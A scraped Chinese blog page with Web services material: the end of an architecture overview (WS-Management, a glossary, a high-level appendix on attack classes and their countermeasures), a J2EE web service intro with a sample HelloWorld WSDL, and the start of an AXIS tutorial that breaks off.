<P>&nbsp;&nbsp;&nbsp; 管理功能是要讨论的Web服务架构的最后一个方面。这些功能在WS-Management规范中有详细的说明。WS-Management构建于该架构的若干组件之上，提供了所有系统管理解决方案都必需的一个公共操作集。其中包括发现管理资源存在及其相互导航的能力。个别管理资源（如设置和动态值）可以被检索、设置、创建和删除。容器和集合的内容，如大表和日志，可以被枚举。规范最后定义了事件订阅和特定的管理操作。在这些方面，WS-Management只详细说明了最低的实现要求。规范还使符合WS-Management的实现可以部署到小型设备。同时，它还支持向大型数据中心和分布式安装的扩展。此外，各种机制的定义都不依赖于任何暗示的数据模型或系统健康模型。这种独立性使它可以应用到各种各样的Web服务。</P>
<P>&nbsp;&nbsp;&nbsp; WS-Management要求托管资源的引用使用带有特定附加信息的端点引用。该信息包含了对该资源提供访问的代理的URL、该资源所属资源类型的唯一标识符URI以及识别该资源的零个或更多个密钥。这些密钥被假设为名称/值对。该信息是这样映射到WS-Addressing端点引用的：资源的URL映射到地址属性，资源类型标识符映射到一个名为ResourceURI（在适当的XML命名空间中）的特定引用属性，各密钥分别映射到一个名为Key、属性为Name的引用参数。为了满足管理服务的消息传递需要，规范为操作定义了3个限定符。这些限定符的SOAP表示位于header元素中。operation timeout指定了一个截止时间，之后操作将不需要接受服务；locale元素在需要或期望转换底层信息时使用；freshness限定符用于请求最新的值并避免返回陈旧数据。对于使用WS-Transfer操作的数据访问，WS-Management指定了另外3个限定符。Get操作可用于SummaryPermitted header和NoCache header。如果可用，SummaryPermitted限定符允许传输简略表示形式。NoCache限定符要求传输最新数据，禁止信息缓存。对于Put和Create操作，ReturnResource限定符要求服务返回资源的新表示形式。ReturnResource使资源受限的Web服务能够在更新资源时不保留状态。</P>
<P>&nbsp;&nbsp;&nbsp; WS-Management为事件通知定义了3个自定义的传送模式：批、拉和捕获。这些模式都由URI来识别，这些URI在建立订阅时使用。批传送模式使订户能够接收捆绑在一个SOAP消息中的多个事件消息。订户可能还会要求捆绑某一最大数目的事件、服务收集事件可耗用的最长时间，以及应返回数据的最大量。拉传送模式使生成服务的数据能够维护事件的逻辑队列，以便订户能够按需轮询通知。该轮询是通过使用WS-Enumeration和返回时附带订阅响应消息的枚举上下文来完成的。最后，如果UDP多路广播是一种合适的消息传递方式，捕获传送模式便允许事件源使用它。在捕获模式下，事件源可以将其通知发送给某一预定义的UDP多路广播地址。</P>
<H1>结束语</H1>
<P>&nbsp;&nbsp;&nbsp; 本文介绍了Web服务架构的功能构造块及其底层原理。每个构造块都是依据协议规范来阐述的。我们希望本文所述的功能范围和指导原则保持不变。不过我们也希望架构能够得到扩展，以支持更多情况。能够支持创新是该架构的基本特征。</P>
<P>&nbsp;&nbsp;&nbsp; 已经进行的大量细致入微的工作可以确保各种Web服务协议能够不加变动地相互组合；尽管是一起设计的，它们仍可以以非常多的组合方式来使用。和功能构造块一样，它们的使用方式与传统开发框架类似。必要时，如对于SOAP附件，我们已经开发了新的解决方案，而且不加变动它们就可以很好地用于该架构内。关注组合不是对丰富功能的威慑。</P>
<P>&nbsp;&nbsp;&nbsp; 该架构的SOAP消息传递基础保证了 foundation assures wide reach。SOAP消息传递以一种传输独立的方式支持异步和同步模式。具有更高灵活性的基础架构不存在。为了加快Web服务架构的广泛采用，很多技术合作伙伴都参与了这些规范的制定。与这些重要技术提供程序的合作加快了设备和支持这些在线协议的编程环境的部署。实现广泛覆盖、广泛采用和与规模无关的构造是我们的3个核心目标。我们力争确保该架构能够在任何平台上用任何编程语言来实现。该架构基于消息的和基于协议的特性为此提供了便利。必要时，如只使用WS-Security来支持消息完整性、机密性和身份验证，以及只使用WS-Policy来表示元数据时，我们已经限定了用于提高互操作水平的技术方法的使用领域。理论上讲，只要实现切实遵守该架构的协议规范，它们就能与其他任何Web服务通信。</P>
<H1>附录A：术语表</H1>
<P>&nbsp;&nbsp;&nbsp; 活动请求者（Active Requestor）——活动请求者是能够发出如WS-Security和WS-Trust中所述的Web服务消息的应用程序（可能是Web浏览器）。</P>
<P>&nbsp;&nbsp;&nbsp; 身份验证（Authentication）——验证安全凭证的过程。</P>
<P>&nbsp;&nbsp;&nbsp; 授权（Authorization）——根据提供的安全凭证授权访问安全资源的过程。</P>
<P>&nbsp;&nbsp;&nbsp; 规范化（Canonicalization）——将XML文档转换成符合每一方要求的格式的过程。在签名文档和解译签名时使用。</P>
<P>&nbsp;&nbsp;&nbsp; 断言（Claim）——断言是对发送者、服务或其他资源（如名称、身份、密钥、组、特权、功能等）所作的陈述。</P>
<P>&nbsp;&nbsp;&nbsp; 协调上下文（Coordination Context）——一组协调服务要完成的一组工作的唯一标识符。</P>
<P>&nbsp;&nbsp;&nbsp; 反序列化（Deserialization）——从一个八位字节流构建XML Infoset的过程。它是用于从消息的有线格式创建消息的Infoset 表示形式的方法。</P>
<P>&nbsp;&nbsp;&nbsp; 摘要（Digest）——摘要是八位字节流的加密校验和。</P>
<P>&nbsp;&nbsp;&nbsp; 域（Domain）——安全域代表安全管理或信任的一个单元。</P>
<P>&nbsp;&nbsp;&nbsp; 持久的两阶段提交（Durable Two Phase Commit）——用于文件或数据库等持久资源事务的协议。</P>
<P>&nbsp;&nbsp;&nbsp; 有效策略（Effective Policy）——有效策略，针对某一给定的策略主题，是附加在包含该策略主题的策略范围上的策略组合。</P>
<P>&nbsp;&nbsp;&nbsp; 交换模式（Exchange Pattern）——用于服务之间消息交换的模式。</P>
<P>&nbsp;&nbsp;&nbsp; 工厂（Factory）——工厂是可以从XML表示形式创建资源的Web服务。</P>
<P>&nbsp;&nbsp;&nbsp; 联盟（Federation）——联盟是已经建立相互信任的信任域的集合。信任级别可能变化，但通常都包括身份验证，并可能包括授权。</P>
<P>&nbsp;&nbsp;&nbsp; 身份映射（Identity Mapping）——身份映射是创建身份属性之间关系的一种方法。某些身份提供程序可能会利用身份映射。</P>
<P>&nbsp;&nbsp;&nbsp; 身份提供程序（IP，Identity Provider）——身份提供程序是为最终请求者提供身份验证服务的实体。身份提供程序还为服务提供程序提供数据源验证服务（这通常是安全性令牌服务的一种扩展）。</P>
<P>&nbsp;&nbsp;&nbsp; 消息（Message）——消息是可由服务发送或接收的完整数据单元。它是信息交换的独立单元。无论何时消息都会包含SOAP信封，并有可能包含附加MTOM中指定的MIME部件、传输协议header。</P>
<P>&nbsp;&nbsp;&nbsp; 消息路径（Message Path）——遍布在初始源和最终接收者之间的SOAP节点集。</P>
<P>&nbsp;&nbsp;&nbsp; 被动请求者（Passive Requestor）——被动请求者是一个使用得到普遍支持的HTTP（如HTTP/1.1）的HTTP浏览器。</P>
<P>&nbsp;&nbsp;&nbsp; 策略（Policy）——策略就是策略选项集。</P>
<P>&nbsp;&nbsp;&nbsp; 策略选项（Policy Alternative）——策略选项就是策略断言集。</P>
<P>&nbsp;&nbsp;&nbsp; 策略断言（Policy Assertion）——策略断言表示特定于域的单个要求、功能、其他属性或行为。</P>
<P>&nbsp;&nbsp;&nbsp; 策略表达式（Policy Expression）——策略表达式是策略的XML Infoset表示形式，可以是正规形式，也可以是等同的压缩形式。</P>
<P>&nbsp;&nbsp;&nbsp; 主体（Principal）——可以被授予安全权限或可以给出安全性或身份断言的任何系统实体。</P>
<P>&nbsp;&nbsp;&nbsp; 协议组合（Protocol Composition）——协议组合是在保持技术连贯性的同时组合协议并避免任何非指定功能副作用的能力。</P>
<P>&nbsp;&nbsp;&nbsp; 资源（Resource）——资源是可由端点引用寻址的任何实体，在该端点引用中，该实体可以提供其自身的XML表示形式。</P>
<P>&nbsp;&nbsp;&nbsp; 安全上下文（Security Context）——安全上下文是一个抽象概念，指的是已建立的身份验证状态和可能具有与安全有关的附加属性的协商密钥。</P>
<P>&nbsp;&nbsp;&nbsp; 安全上下文令牌（Security Context Token）——安全上下文令牌（SCT）是安全上下文抽象概念的有线表示形式，它使上下文能够被URI命名并和一起使用。</P>
<P>&nbsp;&nbsp;&nbsp; 安全性令牌（Security Token）——安全性令牌用于表示一组断言的集合。</P>
<P>&nbsp;&nbsp;&nbsp; 安全性令牌服务（Security Token Service）——安全性令牌服务（STS）发行安全性令牌的Web服务。更确切地说，它根据它所信任的证据来作出断言，并发送给信任它的任何一方（或特定接收者）。为了表明信任，服务需要证据（如签名），以证实安全性令牌或安全性令牌集提供的信息。服务本身可以生成令牌，也可以通过它自己的信任陈述依靠某一独立的STS发行安全性令牌（注意，对于某些安全性令牌格式，这只能是重新发行或联合签名）。这构成了信任代理的基础。</P>
<P>&nbsp;&nbsp;&nbsp; 序列化（Serialization）——将XML Infoset表示为八位字节流的过程。它是用于创建消息的有线格式的方法。</P>
<P>&nbsp;&nbsp;&nbsp; 服务（Service）——通过消息来与其他实体进行交互的软件实体。注意，服务不需要连接到网络。</P>
<P>&nbsp;&nbsp;&nbsp; 签名（Signature）——签名是通过加密算法计算出来，并绑定到数据的一个值。而且经过绑定，数据的指定接收者可以使用该签名来验证数据没有改变并发自消息的签名者，从而提供了消息完整性和身份验证。签名的计算和验证可以通过对称或非对称密钥算法来进行。</P>
<P>&nbsp;&nbsp;&nbsp; 退出（Sign-Out）——退出是这样一个过程：某主体表明它们将不再使用其令牌且该域中的服务可能会破坏该主体令牌缓存。</P>
<P>&nbsp;&nbsp;&nbsp; 单点登录（SSO，Single Sign On）——单点登录是对身份验证序列的一种优化，旨在消除在请求者身上进行的反复操作负担。为了便于进行SSO，称为身份提供程序（Identity Provider）的元素能够以请求者的名义充当代理，将身份验证事件的证据提供给请求该请求者信息的第三方。这些身份提供程序（IP）是受信任的第三方，既需要得到请求者的信任（以维护请求者的身份信息，因为该信息的丢失可能会泄露请求者身份），又需要得到Web服务的信任，Web服务可能会根据该IP提供的身份信息的完整性提供对重要资源和信息的访问权。</P>
<P>&nbsp;&nbsp;&nbsp; SOAP中介（SOAP Intermediary）——SOAP中介是一个SOAP处理节点，它既不是原始消息发送者，也不是最终接收者。</P>
<P>&nbsp;&nbsp;&nbsp; 对称密钥算法（Symmetric Key Algorithm）——一种加密算法，其中的消息加密和解密都使用相同的密钥。</P>
<P>&nbsp;&nbsp;&nbsp; 系统（System）——实现某一特定功能的服务的集合。与分布式应用程序意思相同。</P>
<P>&nbsp;&nbsp;&nbsp; 信任（Trust）——信任表示一个实体愿意依靠另一个实体来执行一组操作，对一组主题、范围作出一组断言。</P>
<P>&nbsp;&nbsp;&nbsp; 信任域（Trust Domain）——信任域是一个得到有效管理的安全空间，在其中，请求的来源和目标可以确定来自某一来源的特定凭证集是否符合该目标的相关安全策略，并对此达成一致。目标可以将信任决定延期至第三方的加入（如果这已被确立为一致意见的一部分），从而将受信任的第三方包括在信任域中。</P>
<P>&nbsp;&nbsp;&nbsp; 易失的两阶段提交（Volatile Two Phase Commit）——用于缓存或窗口管理器等易失资源事务的协议。</P>
<P>&nbsp;&nbsp;&nbsp; Web服务（Web Service）——Web服务是一种可重复使用的软件组件，它依据XML、SOAP和其他业界公认的标准通过网络实现交互式的消息交换。</P>
<H1>附录B：XML Infoset信息项</H1>
<P>&nbsp;&nbsp;&nbsp; XML文档可以包含11类信息项。下面，我们列出并详细说明了SOAP所支持的信息项，并简要介绍了其他的信息项。SOAP支持6类信息项：</P>
<OL>
<LI>文档（Document）：每个信息集里都有一个文档信息项。它用于引用所有的其他信息项。 
<LI>元素（Element:）：文档中每个XML元素的信息集中都包含一个元素信息项。对所有元素的访问是通过对Child属性的递归跟踪提供的。 
<LI>属性(Attribute)：文档中每个属性的信息集中都包含一个属性信息项。附加属性信息项用于命名空间。 
<LI>命名空间(Namespace)：每个在其父元素范围内的名称空间信息集中都包含一个名称空间信息项。 
<LI>字符(Character)：文档中每个数据字符的信息集中都包含一个字符信息项。 
<LI>注释(Comment)：除了出现在DTD中的以外，文档中每个注释的信息集中都包含一个注释信息项。 </LI></OL>
<P>&nbsp;&nbsp;&nbsp; SOAP不支持但出现在XML Infoset初始定义中的5类信息项是：处理指令(Processing Instruction)、文档类型声明(Document Type Declaration)、未扩展的实体引用(Unexpanded Entity Reference)、未解析实体(Unparsed Entity)和表示法(Notation)。</P>
<H1>附录C：常见的安全攻击</H1>
<P>&nbsp;&nbsp;&nbsp; 对分布式系统的攻击可以分为若干个方面。它们可以指向系统中的一个或多个主机，或指向它们之间的通信网路。攻击的目的可能是中断操作、获得机密信息或在系统内部执行未授权的操作。它们可能会攻击系统中所使用的加密技术或以安全性为中心的其他技术，也可能企图通过攻击下面的系统和网络层或上面的应用层来旁路它们。以下是一个简短的不全面的安全性攻击类及针对每类攻击的标准对策的列表，它们是按上述的几个方面组织编排的：</P>
<H2>对主机的攻击</H2>
<UL>
<LI>拒绝服务（DoS，Denial-of-Service）攻击通过击垮主机的响应能力来中断其操作 </LI></UL>
<P>&nbsp;&nbsp;&nbsp; 当指向加密层时，DoS通常会尽力迫使主机反复执行特定身份验证或密钥交换协议所需的计算代价高昂的公钥操作。对抗这类攻击的典型防御措施是延迟公钥操作，直到对话者的合法性能够通过花费较少的方法（如对称加密或“谜语”）来验证时为止。DoS对底层网络层或顶层应用层的攻击很难预防，特别是在攻击者控制着大量资源且通信量处于正常通信量难以觉察的情况下。要实现网络基础架构的部署，通常必须通过漏斗方式将通信量降至一个可管理水平。</P>
<UL>
<LI>主机机密性或授权攻击企图泄露隐私或身份 </LI></UL>
<P>&nbsp;&nbsp;&nbsp; 这些攻击可能会利用主机软件中的薄弱点来获得对主机的控制。适当的安全性管理，如安装补丁、配置防火墙以及削减暴露应用程序的特权，是比较常用的对策。另一类攻击利用系统或应用程序中的弱点，如设置不正确的策略或应用程序逻辑错误，除了一般的主机泄密以外，它们还会考虑机密性或授权泄密。恰当的安全性策略管理和周密的应用程序设计是对付这类攻击的唯一防御措施。在“电子欺骗”攻击中，攻击者企图通过冒用某一经过授权的其他方的身份并做出相应的行为来获得对各种操作的授权。只要主机和经授权方切实保护好身份验证密码，并正确使用安全的身份验证协议，就可以预防电子欺骗。</P>
<H2>对通信网路的攻击</H2>
<UL>
<LI>DoS对网络的攻击试图中断与服务的通信 </LI></UL>
<P>&nbsp;&nbsp;&nbsp; 和对主机网络层的攻击一样，这些攻击确实也只能使用网络基础架构方法来应对。</P>
<UL>
<LI>对网络通信机密性的攻击企图在线泄露隐私 </LI></UL>
<P>&nbsp;&nbsp;&nbsp; 明文通信的直接监听可以通过加密来阻止。通过足够强大的加密算法和足够长的密钥，密码分析攻击也可以被扼制。</P>
<UL>
<LI>对网络通信授权的攻击企图泄露身份 </LI></UL>
<P>&nbsp;&nbsp;&nbsp; 攻击者企图将消息插入会话的“消息伪造攻击”和攻击者修改会话中发送的消息的消息，变更攻击都可以通过包含消息身份验证的消息安全性协议来阻止。攻击者将以前发送的（因而通过了正确的身份验证）消息插入会话的消息重放，攻击可以通过序号或时间戳和消息缓存的组合来检测和阻止。</P></DIV></SPAN></TD></TR>
<TR>
<TD align=right>[<A href="http://www.54bk.com/more.asp?name=yuexb&amp;id=8232">阅读全文(115)</A> | <A href="http://www.54bk.com/more.asp?name=yuexb&amp;id=8232#comment">回复(0)</A> | <A href="http://www.54bk.com/showtb.asp?id=8232" target=_blank>引用(0)</A>] </TD></TR>
<TR>
<TD>
<HR width="100%" color=#f0f0f0 size1>
</TD></TR></TBODY></TABLE>
<STYLE type=text/css>
.style1 {
 FONT-WEIGHT: bold; FONT-SIZE: 12px; COLOR: #ff6699
}
.yjx {
 BORDER-RIGHT: #f0f0f0 0px solid; BORDER-TOP: #f0f0f0 0px solid; BORDER-LEFT: #f0f0f0 0px solid; BORDER-BOTTOM: #f0f0f0 0px solid
}
</STYLE>

<TABLE style="TABLE-LAYOUT: fixed; WORD-BREAK: break-all" cellSpacing=0 cellPadding=0 width="99%" border=0>
<TBODY>
<TR>
<TD bgColor=#f0f0f0><FONT color=#ff6699>·</FONT><STRONG><IMG src="http://www.54bk.com/images/face/1.gif"><A href="http://www.54bk.com/blog.asp?name=yuexb&amp;subjectid=1715">[WebService]<A href="http://www.54bk.com/more.asp?name=yuexb&amp;id=7567">J2EE构造web service</A>&nbsp;&nbsp;&nbsp;&nbsp; -|</STRONG><SPAN class=oblog_text>民工 发表于 2005-6-1 21:06:03</SPAN> </TD></TR>
<TR>
<TD>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD>
<DIV align=right></DIV></TD></TR></TBODY></TABLE><SPAN class=oblog_text>
<DIV class=postTitle><A href="http://blog.csdn.net/yangfanyf/archive/2005/06/01/385740.aspx"><FONT color=#000000>J2EE构造web service</FONT></A> <FONT color=#000000>(载至</FONT><A class=headermaintitle id=Header1_HeaderTitle href="http://blog.csdn.net/yangfanyf/"><FONT color=#000000 size=2>yangfanyf的专栏</FONT></A><FONT color=#000000>)</FONT> </DIV>
<DIV class=postText>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;在这篇文章，我向java程序开发者介绍service-oriented architecture (SOA)，我将解释怎么使用J2EE 1.4去建立一个web 服务使其能操作和方便的通过J2EE1.4来适应应用服务（例如： Oracle Application Server）。</P>
<P><FONT size=4>&nbsp;Web Services Architecture<BR></FONT>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 让我们在学习web services部署J2EE platform之前，我们先了解web service 的主要结构。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 通过网络我们可以找到一些关于&nbsp;web services的定义、发布、和调用。一个web service，如图一</P>
<P><A href="http://www.onjava.com/onjava/2005/05/25/graphics/webservice.gif" target=_blank><IMG title="" alt="" src="http://www.onjava.com/onjava/2005/05/25/graphics/webservice.gif" onload="java_script_:if(this.width>500)this.width=500" align=middle border=0 pop="点击在新窗口查看原始图片"></A></P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 图一</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 现在有两种web services：“RPC style and document style”，RPC-style web services是在最初受欢迎的。但在近几年是document-style是首选的web services。<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RPC-style web services是远程程序调用，代表相互交互。RPC-style web services在交互信息中调用和返回必须先符合明确的签名，在应用中非常不方便。相反，document-style web services 通过用xml，来改变发送和接收应用。<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 许多的开发者觉得web services是一个有活力的技术，他继承SOA。因为它提供一个相互作用在不同的平台和轻便的技术。例如xml，soap，and http。<BR>&nbsp;&nbsp;<STRONG> What Are Web Services Made of?</STRONG>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在web service首先要先定义A Web Services Definition Language (WSDL; pronounced "wizdle") 文档。</P>
<P>这个WSDL提供一个完全的描述web service，包括端口、操作、信息类型等。</P>
<P>Here is a simple example of a WSDL document that describes a HelloWorld web service:</P>
<P><BR>&lt;definitions <BR>&nbsp;name="HelloService" <BR>&nbsp;targetNamespace="<A href="http://oracle.j2ee.ws/ejb/Hello">http://oracle.j2ee.ws/ejb/Hello</A>"<BR>&nbsp;xmlns="<A href="http://schemas.xmlsoap.org/wsdl/">http://schemas.xmlsoap.org/wsdl/</A>" <BR>&nbsp;xmlns:tns="<A href="http://oracle.j2ee.ws/ejb/Hello">http://oracle.j2ee.ws/ejb/Hello</A>" <BR>&nbsp;xmlns:mime="<A href="http://schemas.xmlsoap.org/wsdl/mime/">http://schemas.xmlsoap.org/wsdl/mime/</A>" <BR>&nbsp;xmlns:soap12="<A href="http://schemas.xmlsoap.org/wsdl/soap12/">http://schemas.xmlsoap.org/wsdl/soap12/</A>" <BR>&nbsp;xmlns:ns1="<A href="http://oracle.j2ee.ws/ejb/Hello/types">http://oracle.j2ee.ws/ejb/Hello/types</A>" <BR>&nbsp;xmlns:xsd="<A href="http://www.w3.org/2001/XMLSchema">http://www.w3.org/2001/XMLSchema</A>" <BR>&nbsp;xmlns:soap="<A href="http://schemas.xmlsoap.org/wsdl/soap/">http://schemas.xmlsoap.org/wsdl/soap/</A>"&gt; <BR>&nbsp;&lt;types&gt; <BR>&nbsp; &lt;schema elementFormDefault="qualified" <BR>&nbsp; targetNamespace="<A href="http://oracle.j2ee.ws/ejb/Hello/types">http://oracle.j2ee.ws/ejb/Hello/types</A>" <BR>&nbsp;&nbsp; xmlns="<A href="http://www.w3.org/2001/XMLSchema">http://www.w3.org/2001/XMLSchema</A>" <BR>&nbsp;&nbsp; xmlns:soap11-enc="<A href="http://schemas.xmlsoap.org/soap/encoding/">http://schemas.xmlsoap.org/soap/encoding/</A>"<BR>&nbsp;&nbsp; xmlns:tns="<A href="http://oracle.j2ee.ws/ejb/Hello/types">http://oracle.j2ee.ws/ejb/Hello/types</A>" <BR>&nbsp;&nbsp; xmlns:wsdl="<A href="http://schemas.xmlsoap.org/wsdl/">http://schemas.xmlsoap.org/wsdl/</A>" <BR>&nbsp;&nbsp; xmlns:xsi="<A href="http://www.w3.org/2001/XMLSchema-instance">http://www.w3.org/2001/XMLSchema-instance</A>"&gt; <BR>&nbsp; &lt;complexType name="sayHello"&gt; <BR>&nbsp;&nbsp;&nbsp; &lt;message name="HelloServiceInf_sayHello"&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;part name="parameters"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; element="ns1:sayHelloElement"/&gt; <BR>&nbsp;&nbsp;&nbsp; &lt;/message&gt; <BR>&nbsp;&nbsp;&nbsp; &lt;message name="HelloServiceInf_sayHelloResponse"&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;part name="parameters" <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; element="ns1:sayHelloResponseElement"/&gt; <BR>&nbsp;&nbsp;&nbsp; &lt;/message&gt; <BR>&nbsp;&nbsp;&nbsp; &lt;portType name="HelloServiceInf"&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;operation name="sayHello"&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;input message="tns:HelloServiceInf_sayHello"/&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;output message="tns:HelloServiceInf_sayHelloResponse"/&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/operation&gt; <BR>&nbsp;&nbsp;&nbsp; &lt;/portType&gt; <BR>&nbsp;&nbsp;&nbsp; &lt;sequence&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;element name="String_1" nillable="true" type="string"/&gt; <BR>&nbsp;&nbsp;&nbsp; &lt;/sequence&gt; <BR>&nbsp; &lt;/complexType&gt; <BR>&nbsp; &lt;complexType name="sayHelloResponse"&gt; <BR>&nbsp;&nbsp;&nbsp; &lt;sequence&gt; <BR>&nbsp;&nbsp;&nbsp; &lt;element name="result" nillable="true" type="string"/&gt; <BR>&nbsp;&nbsp;&nbsp; &lt;/sequence&gt; <BR>&nbsp; &lt;/complexType&gt; <BR>&nbsp; &lt;element name="sayHelloElement" type="tns:sayHello"/&gt; <BR>&nbsp; &lt;element name="sayHelloResponseElement" <BR>&nbsp;&nbsp;&nbsp; type="tns:sayHelloResponse"/&gt; <BR>&nbsp; &lt;/schema&gt;<BR>&nbsp;&lt;/types&gt; <BR>&nbsp;&lt;binding name="HttpSoap11Binding" type="tns:HelloServiceInf"&gt; <BR>&nbsp;&lt;soap:binding style="document" <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; transport="<A href='http://schemas.xmlsoap.org/soap/http"/'>http://schemas.xmlsoap.org/soap/http"/</A>&gt; <BR>&nbsp;&lt;operation name="sayHello"&gt;<BR>&nbsp;&nbsp; &lt;soap:operation <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; soapAction="<A href='http://oracle.j2ee.ws/ejb/Hello:sayHello"/'>http://oracle.j2ee.ws/ejb/Hello:sayHello"/</A>&gt; <BR>&nbsp;&nbsp; &lt;input&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;soap:body use="literal" parts="parameters"/&gt; <BR>&nbsp;&nbsp; &lt;/input&gt;<BR>&nbsp;&nbsp; &lt;output&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;soap:body use="literal" parts="parameters"/&gt; <BR>&nbsp;&nbsp; &lt;/output&gt; <BR>&nbsp;&lt;/operation&gt; <BR>&nbsp;&lt;/binding&gt; <BR>&nbsp;&lt;service name="HelloService"&gt; <BR>&nbsp;&nbsp; &lt;port name="HttpSoap11" binding="tns:HttpSoap11Binding"&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;soap:address location="REPLACE_WITH_ACTUAL_URL"/&gt; <BR>&nbsp;&nbsp; &lt;/port&gt;<BR>&lt;/service&gt;<BR>&lt;/definitions&gt; </P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在这个WSDL，你需要注意HelloService ，包括他的包括端口、操作、信息类型等。这个WSDL 使web service 和客户端，能够自动的产生客户端代理。</P>
<P>在这个web services有两个主要的技术，一个是SOAP，它是调用web service，一个是UDDI它提供web service的本地注册。</P>
<P>未完待续</P></DIV></SPAN></TD></TR></TBODY></TABLE><img src ="http://www.blogjava.net/kapok/aggbug/10374.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-08-17 20:40 <a href="http://www.blogjava.net/kapok/archive/2005/08/17/10374.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title> AXIS实现Web服务深入篇</title><link>http://www.blogjava.net/kapok/archive/2005/08/14/10064.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Sun, 14 Aug 2005 01:41:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/08/14/10064.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/10064.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/08/14/10064.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/10064.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/10064.html</trackback:ping><description><![CDATA[<A href="http://www-128.ibm.com/developerworks/cn/webservices/.backup/ws-deepaxis/">http://www-128.ibm.com/developerworks/cn/webservices/.backup/ws-deepaxis/</A><BR><BR>一直使用J2EE从事移动业务方面的开发, <BR>2004 年 2 月 
<BLOCKQUOTE><ABSTRACT-EXTENDED>本文主要介绍使用service方式实现Web服务、复杂类型参数或者返回值以及面向消息/文档的服务类型，同时还会简单提及Web服务的会话管理以及安全问题等等。</ABSTRACT-EXTENDED></BLOCKQUOTE>
<P>前段时间我的一篇文章《应用AXIS开始Web服务之旅》介绍了如何通过AXIS这个项目来实现Web服务的功能。该文章主要介绍AXIS的结构、如何使用jws文件的方式开发一个简单的Web服务，并用了比较大的篇幅来介绍Web服务的客户端编程，应该说是使用AXIS开发Web服务的入门篇，本文假设你已经看过《应用AXIS开始Web服务之旅》并对AXIS有一定的基础，在这个基础上我们将要介绍的内容有几个方面包括使用service方式实现Web服务、复杂类型参数或者返回值以及面向消息/文档的服务类型，同时还会简单提及Web服务的会话管理以及安全问题等等。</P>
<P>在开始我们的文章之前，我们还需要搭建一个环境，我们需要一个支持Web服务的web应用程序并假设名字为axis，如何建立请参照《应用AXIS开始Web服务之旅》文章中的介绍。</P>
<P><A name=0><SPAN class=atitle2>使用定制发布编写Web服务</SPAN></A><BR></P>
<P>使用jws文件的方式编写Web服务具有方便、快捷的优点，它可以很快的将你已有的类发布成Web服务。但是更多的时候这并不是一个好的主意，因为这种做法引发的问题是我们必须要将已有类的源码发布出来，因为更多的时候我们并不想这样做；另外虽然你可以先用工具开发并调试完毕一个java文件后再改名为jws，但是这多少有些便扭，而且并不是类中的所有方法你都想发布成可通过Web服务来访问的，这时候你就必须将这些方法的修饰符改为不是public的，这就跟你原有的类不同步，以后的修改将会更加的麻烦。</P>
<P>在这里我把定制发布方式称为service方式，就好像JSP的出现不会使Servlet失宠的道理一样，有了jws，service方式还是有它的用武之地，而且是大放异彩。发布一个service方式的Web服务需要两部分内容：类文件以及Web服务发布描述文件。下面我们使用一个简单的例子来讲述这个过程。</P>
<P>首先我们需要一个service类，这个类跟普通的类没有任何区别，下面是我们实现一个城市便民服务的类，我们需要将CityService类的两个方法getZip和getTel发布成Web服务，编译该文件并把class文件拷贝到&lt;webapp&gt;/WEB-INF/classes对应目录下。</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
